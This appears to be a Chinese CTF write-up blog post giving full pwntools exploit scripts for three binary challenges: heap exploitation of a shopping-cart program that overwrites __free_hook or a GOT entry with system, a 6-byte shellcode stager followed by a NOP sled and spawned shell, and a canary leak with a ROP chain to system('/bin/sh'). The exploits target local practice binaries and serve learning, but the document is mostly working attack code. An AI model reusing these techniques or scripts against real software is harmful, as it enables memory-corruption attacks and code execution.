思路
1.先通过构造unsortbins,利用edit泄露arena+232地址,得到libcbase
2.通过off-by-one将bss_name_adr[0]指向input chunk中,然后通过构造payload,使bss_name_adr[0]指向__free_hook,然后edit将system覆盖__free_hook
exp
from pwn import *
from LibcSearcher import *
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
elf=ELF('./task_shoppingCart')
p=process('./task_shoppingCart')
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
Libc = ELF(libc_name)
def DEBUG(instruction,i=0):
if i!=1:
pwnlib.gdb.attach(p,instruction)
else:
pwnlib.gdb.attach(p)
def get_money():
p.sendlineafter('be a rich man!\n','1')
p.sendlineafter('RMB or Dollar?\n','aaaaa')
def get_enough():
p.sendlineafter('be a rich man!\n','3')
def add(size,name):
p.sendlineafter('Now, buy buy buy!\n','1')
p.sendlineafter('How long is your goods name?\n',str(size))
p.sendafter('What is your goods name?\n',name)
def edit(index,name):
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str(index))
recv=p.recvuntil(' to?\n',drop=True)[-6:]
p.send(name)
return recv
def free(index):
p.sendlineafter('Now, buy buy buy!\n','2')
p.sendlineafter('?\n',str(index))
for i in range(0x14):
get_money()
get_enough()
add(0x90,'aaaa')
add(0x90,'/bin/sh\x00')
free(0)
add(0,'')
#instruction = ''
#DEBUG(instruction)
recv=edit(2,'aaaa').ljust(8,'\x00')
#################get_system#############################
print hex(u64(recv))
Libc.address = u64(recv)- 0x10 - 232 -Libc.symbols['__malloc_hook']
system2 = Libc.symbols['system']
print hex(system2)
#############################################
#instruction='x/32xg '+str(hex(system2))
index1=(-0x1&0xffffffffffffffff)
edit(index1,'b'*8)
index2=(((0x561161d69140-0x561161d691e0)/8)&0xffffffffffffffff)
payload = (str(index2)+'\n')
payload += '2\n'+'1\n'#free时需要输入的参数,必须在构造pyload时添加
payload =payload.ljust(0x1000-0x20,'a')
payload+=p64(Libc.symbols['__free_hook'])
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendafter('to modify?\n',payload)
p.recvuntil(' to?\n')
p.send(p64(system2))
p.interactive()
利用这个指向自己的指针,可以泄露出基地址。
通过bss_name_adr构造bss_name,从而实现任意写
例如在0x55e69149d0a8写入0x55e69149d0a0,在0x55e69149d0a0写入目标地址,从而实现目标地址任意写。
from pwn import *
from LibcSearcher import *
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
elf=ELF('./task_shoppingCart')
p=process('./task_shoppingCart')
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc_name)
def DEBUG(instruction,i=0):
if i!=1:
pwnlib.gdb.attach(p,instruction)
else:
pwnlib.gdb.attach(p)
def get_money():
p.sendlineafter('be a rich man!\n','1')
p.sendlineafter('RMB or Dollar?\n','aaaaa')
def get_enough():
p.sendlineafter('be a rich man!\n','3')
def add(size,name):
p.sendlineafter('Now, buy buy buy!\n','1')
p.sendlineafter('How long is your goods name?\n',str(size))
p.sendafter('What is your goods name?\n',name)
def edit(index,name):
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str(index))
p.recvuntil(' to?\n')
p.send(name)
def free(index):
p.sendlineafter('Now, buy buy buy!\n','2')
p.sendlineafter('?\n',str(index))
for i in range(0x14):
get_money()
get_enough()
add(0x90,'aaaa')
add(0x50,'/bin/sh\x00')
free(0)#加载free的libc值到got表中
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str((-47)&0xffffffffffffffff))
recv=(p.recvuntil(' to?\n',drop=True)[-6:]).ljust(8,'\x00')
aim = u64(recv)
p.send(p64(aim))
instruction =''
print hex(u64(recv))
#0x202000
#
elf.address=aim-0x202000-0x68
edit((-20)&0xffffffffffffffff,p64(elf.got['free']))
edit((-19)&0xffffffffffffffff,p64(elf.address+0x2020a0))
#DEBUG(instruction)
p.sendlineafter('Now, buy buy buy!\n','3')
p.sendlineafter('to modify?\n',str((-39)&0xffffffffffffffff))
recv=p.recvuntil(' to?\n',drop=True)[-6:].ljust(8,'\x00')#泄露free libc地址
free_libc=u64(recv)
libc.address=free_libc-libc.symbols['free']
p.send(p64(libc.symbols['system'])[:7])
free(1)
p.interactive()
先分析一下程序
取两个随机数,作为映射起始地址,一块用于存放shellcode,一块作为stack
v3 = (void (__fastcall *)(__int64, char *))dest;
memset(&s, 0, 8uLL);
puts("Show Ne0 your shellcode:");
read(0, &s, 6uLL);
sub_B05((__int64)&s); // check
v4 = strlen(src); // inint_shellcode= 0x30
memcpy(dest, src, v4);
v5 = (char *)dest;
v6 = strlen(src);
memcpy(&v5[v6], &s, 7uLL); //inint_shellcode+input_shellcode to dest
v3(qword_202098, &s);//execve dest
/*init_shellcode
seg000:0000000000000000 mov rsp, rdi
seg000:0000000000000003 xor rbp, rbp
seg000:0000000000000006 xor rax, rax
seg000:0000000000000009 xor rbx, rbx
seg000:000000000000000C xor rcx, rcx
seg000:000000000000000F xor rdx, rdx
seg000:0000000000000012 xor rdi, rdi
seg000:0000000000000015 xor rsi, rsi
seg000:0000000000000018 xor r8, r8
seg000:000000000000001B xor r9, r9
seg000:000000000000001E xor r10, r10
seg000:0000000000000021 xor r11, r11
seg000:0000000000000024 xor r12, r12
seg000:0000000000000027 xor r13, r13
seg000:000000000000002A xor r14, r14
seg000:000000000000002D xor r15, r15
*/
shellcode先将我们申请的第二块地址作为stack,然后清空通用寄存器。因为前面申请的两块地址的起始地址是随机数,存在stack在shellcode的低地址端附近的情况。
这个题里面只允许输入长度为6的shellcode,所以我们必须要再次输入,所以第一次输入的shellcode必须是0号系统调用——read。
,然后再次read将使得第二次shellcode存放至第一次shell code后面。
exp
from pwn import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
context.binary='./six' #we need the x64 shellcode
p=process("./six")
elf=ELF('./six')
def DEBUG(instrction,i=0):
if i==0:
pwnlib.gdb.attach(p)
else:
pwnlib.gdb.attach(p,instrction)
instruction=''
p.recvuntil('Show Ne0 your shellcode:\n')
Read=asm('''
push rsp
pop rsi
mov edx,esi
syscall
''')
p.send(Read)
#DEBUG('',0)
#shellcode = 0x36,we only need the offset of mmap is 0xc00.
payload =asm(shellcraft.nop())*0xc36+asm(shellcraft.sh())
p.send(payload)
p.interactive()
不一定第一次就能行,十六分之一的几率,慢慢试吧骚年!
这道题坑很多!
关键在于666函数。
from pwn import *
import md5
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
def DEBUG(instruction,i=0):
if i==0:
pwnlib.gdb.attach(p)
else:
pwnlib.gdb.attach(p,instruction)
def add(size,content):
p.sendlineafter('command>> \n',str(1))
p.sendlineafter(':',str(size))
p.sendlineafter(':',content)
def free(index):
p.sendlineafter('command>> \n',str(2))
p.sendlineafter(':',str(index))
instruction='''
b *0x401556
c
x/100xg $rbp-0x110
'''
##第一次清空/tmp/secret,从而使第二次能够预测出md5
for i in range(2):
p=process('./huwang')
elf=ELF('./huwang')
libc=ELF('./libc.so.6')
m = md5.new()
m.update('\x00'*16)
md5_zero =m.digest()
p.sendlineafter('command>> \n',str(666))
p.recvuntil('name\n')
p.send('abe'.ljust(0x19,'a'))#leak canary
p.recvuntil('secret?\n')
p.sendline('y')
if i==0:
p.sendlineafter(':\n',str(-1&0xffffffff))#使加密足够多次,使其能够在未完全写入文件时关闭程序,关闭文件,从而达到清空文件的目的
sleep(0.1)
p.close()
else:
p.recvuntil('secret:\n')
p.sendline(str(1))
secret=md5_zero
p.recvuntil('secret\n')
p.send(secret)
p.recvuntil('abe'.ljust(0x19,'a'))#24+1(覆盖canary的最低位'\x00')
recv=p.recv(13)#接收当前栈帧的canary和rbp
canary=u64('\x00'+(recv[:7]))
stack =u64((recv[7:]).ljust(8,'\x00'))-0xa0
print hex(canary),hex(stack)
#DEBUG(instruction,1)
occupation='a'*0xff#因为snprinf返回值是欲写入字符数,所以这里要尽可能大,为后面栈溢出做铺垫
p.recvuntil('occupation?\n')
p.send(occupation)
sleep(0.1)
p.recvuntil('[Y/N]\n')
sleep(0.1)
p.sendline('Y')
'''
0x0000000000401573 : pop rdi ; ret
0x000000000040156A : p_5
'''
pop_rdi = 0x0000000000401573#配合只有一个参数的的函数
p_5=0x000000000040156A#这是万能执行函数rop chain——init
payload='a'*0x108+p64(canary)+p64(stack)+p64(pop_rdi)+p64(elf.got['puts'])
payload+=p64(elf.plt['puts'])
payload+=p64(p_5)+p64(0)+p64(1)+p64(elf.got['read'])+p64(8*4)+p64(stack+19*8)+p64(0)+p64(0x0000000000401550)+'a'*8*7
p.send(payload)
puts=u64(p.recv()[-7:-1].ljust(8,'\x00'))
libc.address=puts-libc.symbols['puts']
system=libc.symbols['system']
#print hex(puts)
payload=p64(pop_rdi)+p64(stack+22*8)+p64(system)+'/bin/sh\x00'
p.send(payload)
p.interactive()
# import md5
# m = md5.new()
# m.update('\x00'*16)
# md5_zero =m.digest()
# z=''
# for i in md5_zero:
# z+=str(hex(ord(i))[2:])
# print z
比较笨,rop的很生硬>.<
https://xz.aliyun.com/t/2897
https://blog.csdn.net/snowleopard_bin/article/details/83119665